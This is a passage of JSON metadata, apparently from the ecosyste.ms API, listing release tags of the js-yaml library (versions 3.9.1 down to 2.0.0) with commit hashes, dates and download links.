at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.9.1/manifests"},{"name":"3.9.0","sha":"d411eddbb7a340c89dd0557e277ce31463515c04","kind":"commit","published_at":"2017-07-08T08:47:09.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.9.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.9.0/manifests"},{"name":"3.8.4","sha":"3de650d4d6fd9e24052ffa7ae53439e36eb70cbb","kind":"commit","published_at":"2017-05-08T15:05:28.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.8.4","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.4/manifests"},{"name":"3.8.3","sha":"db20313c9c432766d0606aa1d9659b4f96b9bf5b","kind":"commit","published_at":"2017-04-05T12:44:10.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.8.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.3/manifests"},{"name":"3.8.2","sha":"7dd7254139804a0cd15683fd9e61ad949bd5ce14","kind":"commit","published_at":"2017-03-02T16:47:08.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.8.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.2/manifests"},{"name":"3.8.1","sha":"9c1894e2c4e2a14efaa0ba4afe71804bebfb77d6","kind":"commit","published_at":"2017-02-07T00:35:52.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.8.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.1/manifests"},{"name":"3.8.0","sha":"dddcb5f15fa77a8f9a4d50ccbeb969297e980aa4","kind":"commit","published_at":"2017-02-07T00:29:40.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.8.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.8.0/manifests"},{"name":"3.7.0","sha":"279655fa5ad46d17117f60680fa3b46a0b5391c5","kind":"commit","published_at":"2016-11-12T01:27:27.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.7.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.7.0/manifests"},{"name":"3.6.1","sha":"c76b837cacc69de6b86a0781db31a9bb7a193875","kind":"commit","published_at":"2016-05-11T19:37:32.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.6.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.6.1/manifests"},{"name":"3.6.0","sha":"87e4cdc21deec3dda9b811366fb3a3af16c08f0d","kind":"commit","published_at":"2016-04-15T21:11:49.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.6.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.6.0/manifests"},{"name":"3.5.5","sha":"fdd205e5a1175a62868c0efb28a77493e5e34e3f","kind":"commit","published_at":"2016-03-17T14:44:31.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.5.5","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.5/manifests"},{"name":"3.5.4","sha":"5f058c3a78fd1a1bd36fd2cdc2c3a8c45ab53fd1","kind":"commit","published_at":"2016-03-09T18:20:49.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.5.4","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.4/manifests"},{"name":"3.5.3","sha":"4a9e0a258586cff292cab63e0b76044fc1f4cb63","kind":"commit","published_at":"2016-02-11T07:24:55.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.5.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.3/manifests"},{"name":"3.5.2","sha":"4e7b17612d3dd9e20880a8e959b4ae7c2d68209a","kind":"commit","published_at":"2016-01-11T11:02:32.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.5.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.2/manifests"},{"name":"3.5.1","sha":"8f787fac082198450db5f79e4e92714423cc8478","kind":"commit","published_at":"2016-01-11T01:27:24.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.5.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.1/manifests"},{"name":"3.5.0","sha":"4ad1e777f354e108d320afe85aea554bf3309e1e","kind":"commit","published_at":"2016-01-10T19:06:57.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.5.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.5.0/manifests"},{"name":"3.4.6","sha":"38f9b2e82e80a9a540a264ab8920344165a2018b","kind":"commit","published_at":"2015-11-26T13:45:19.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.6","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.6/manifests"},{"name":"3.4.5","sha":"66035322ee0906f0bcb24700bd7332ce66726c32","kind":"commit","published_at":"2015-11-23T04:24:11.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.5","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.5/manifests"},{"name":"3.4.4","sha":"54e4dc30cc5fbfc21f291cace630a2f32d3114d9","kind":"commit","published_at":"2015-11-21T20:18:47.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.4","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.4/manifests"},{"name":"3.4.3","sha":"13e619cb93e100b9edd1d87f9a2cb1e805a3b2c7","kind":"commit","published_at":"2015-10-10T19:35:47.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.3/manifests"},{"name":"3.4.2","sha":"cab39bb1065959e44f8fd48ad9ff637d1baf72c1","kind":"commit","published_at":"2015-09-09T10:04:39.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"0215138ec880c1e0ebc93f5a8c94bb753f5a5456","kind":"commit","published_at":"2015-09-04T23:32:21.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.1/manifests"},{"name":"3.4.0","sha":"da3d1fa05a1e8087ecad25d53f91a8419cf041d1","kind":"commit","published_at":"2015-08-22T22:33:18.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.4.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.4.0/manifests"},{"name":"3.3.1","sha":"c50f9936bd1e99d64a54d30400e377f4fda401c5","kind":"commit","published_at":"2015-05-13T13:18:45.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.3.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"9cc570a50a767b08c3b0fcd0e61efec880aa7c11","kind":"commit","published_at":"2015-04-26T05:54:55.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.3.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.3.0/manifests"},{"name":"3.2.7","sha":"2321c0b9d1e25f9b8e6202744bc601a4998fe27f","kind":"commit","published_at":"2015-02-19T10:03:18.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.7","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.7/manifests"},{"name":"3.2.6","sha":"9a7ae34da906df48e07e9eeb956f53d6aaab0b0b","kind":"commit","published_at":"2015-02-07T02:57:16.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.6","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.6/manifests"},{"name":"3.2.5","sha":"8a73181030e075b208c8f4065a4888a786365ae2","kind":"commit","published_at":"2014-12-27T22:17:19.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.5","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.5/manifests"},{"name":"3.2.4","sha":"19bac7893be01d1f9c3e1263f43bd6c8a47abf90","kind":"commit","published_at":"2014-12-19T12:33:51.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.4","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.4/manifests"},{"name":"3.2.3","sha":"a6cd5657603496c7128d3b9fa621ce9274283194","kind":"commit","published_at":"2014-11-08T05:09:06.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.3/manifests"},{"name":"3.2.2","sha":"c0c3216b6f4fe846f4a2c617e91680638fbbdeb9","kind":"commit","published_at":"2014-09-06T20:34:45.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.2/manifests"},{"name":"3.2.1","sha":"1bee67673c464274b997900ee842a80b6e619248","kind":"commit","published_at":"2014-08-24T08:06:04.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.1/manifests"},{"name":"3.2.0","sha":"f5fd6f8b92aac381af50f7f6180b637c5a86c0eb","kind":"commit","published_at":"2014-08-24T07:46:13.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.2.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.2.0/manifests"},{"name":"3.1.0","sha":"63b57eb1f96378e9403db553afd10c9bf1dfb3af","kind":"commit","published_at":"2014-07-07T09:28:01.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.1.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.1.0/manifests"},{"name":"3.0.2","sha":"e708f1ad52542dc6ef23fdd4025d08438870b530","kind":"commit","published_at":"2014-02-27T03:20:05.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.0.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"49695cba9bba55f26d1eee750a30bf3d50129ffe","kind":"commit","published_at":"2013-12-22T18:44:12.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.0.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"b58544b370043e30fe976aad6d62bb133325750e","kind":"commit","published_at":"2013-12-16T08:30:04.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.0.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.0.0/manifests"},{"name":"2.1.3","sha":"f3c964093977a5cc24fa2c2b7bc02eb169785803","kind":"commit","published_at":"2013-10-15T21:29:52.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.1.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.3/manifests"},{"name":"2.1.2","sha":"438b414b956d0b3e0e2fcd6e88890a85cad77786","kind":"commit","published_at":"2013-10-06T21:34:41.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.1.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.2/manifests"},{"name":"2.1.1","sha":"964bae2f8ff5a2751768a7357dd25d4a45b1cf25","kind":"commit","published_at":"2013-10-01T20:08:07.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.1.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.1/manifests"},{"name":"2.1.0","sha":"454c7e780cb7b3f9c2fc9f9e03fac1c08c1f2d01","kind":"commit","published_at":"2013-06-05T14:43:52.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.1.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.1.0/manifests"},{"name":"2.0.5","sha":"683d40c04bccd382528931894a471166b99c4689","kind":"commit","published_at":"2013-04-26T14:40:22.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.0.5","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.5/manifests"},{"name":"2.0.4","sha":"f059bda071584adfddd75aa065494392c471c156","kind":"commit","published_at":"2013-04-08T11:44:13.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.0.4","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"075b73457a2803274f428cb361a3fd4a32349e40","kind":"commit","published_at":"2013-02-26T03:14:32.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.0.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.3/manifests"},{"name":"2.0.2","sha":"4afbd2482467e98940d6730023821dcd21fdd7b0","kind":"commit","published_at":"2013-02-15T11:24:16.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.0.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.2/manifests"},{"name":"2.0.1","sha":"ec38ce82b9c4f97a6b455497bea5c6a5c9a332e9","kind":"commit","published_at":"2013-02-09T15:43:05.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.0.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"a29c29829f99181e4e6859171c9f5e5c510e13a4","kind":"commit","published_at":"2013-02-09T07:35:46.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/2.0.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg: